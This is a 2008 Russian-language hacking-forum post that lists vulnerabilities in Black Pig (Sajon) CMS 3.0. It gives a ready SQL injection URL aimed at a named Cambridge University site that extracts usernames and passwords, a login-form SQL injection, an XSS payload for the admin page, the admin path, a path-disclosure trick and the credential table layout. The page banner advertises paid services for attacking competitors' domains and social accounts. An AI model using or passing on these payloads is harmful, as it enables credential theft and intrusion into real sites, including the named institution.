Уязвимости Sajon CMS 3.0

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
Уязвимости Sajon CMS 3.0

Опции темы

Поиск в этой теме

Опции просмотра

Уязвимости Black Pig (Sajon) CMS 3.0

26.12.2008, 22:08

$n@ke

Постоянный

Регистрация: 18.09.2006

Сообщений: 867

С нами: 10339586

Репутация: 1396

Уязвимости Black Pig (Sajon) CMS 3.0

Наткнулса исследуя Университет Кембриджа:
Данная CMS не очень распространена, однако на ней несколько ПИАРистых сайтов работают.

Sql-inj

1. Имя файла может меняться, но уязвим параметр key

PHP код:


		
			
http://www.enterprise.cam.ac.uk/archive.php?key=24+UNION+SELECT+username,password+FROM+cmscamenter.cms_users--

2. Скуля в админке, при авторизации

PHP код:


		
			
POST

formloginuser=%00'

XSS

PHP код:


		
			
http://www.site.com/cms/admin.php

POST

action=login&gomodule=>"><script%20%0a%0d>alert(KU-KU,7750312847)%3B</Script>

Тоже самое в goid,gopage

Админка:

PHP код:


		
			
site.com/cms/

Раскрытие пути

PHP код:


		
			
http://www.site.com/cms/admin.php

в поле логина ставим ОДИНАРНУЮ КАВЫЧКУ

PHP код:


		
			
Table: cms_users

Fields: username,password

Author: The Black Pig Design Co Ltd
www.blackpig.co.uk

Сорцов нет;аплоад,судя по логам-есть, но я ненашел.

𝕏 Twitter Reddit Telegram Копировать ссылку

Последний раз редактировалось $n@ke; 26.12.2008 в 23:51.. Причина: да хрен его знает как называеться CMS =)

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Reviews CMS	w3r3.w01f	PHP	33	12.04.2010 23:18
Веб 2.0 и Веб 3.0. Будущее Интернета.	SK \| Heaton	Мировые новости. Обсуждения.	5	13.06.2007 02:07
Mozilla приступила к созданию Firefox 3.0	Dracula4ever	Мировые новости. Обсуждения.	0	31.10.2006 10:29
Девять Комерческих Cms	w3r3.w01f	PHP	1	21.04.2006 00:27

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход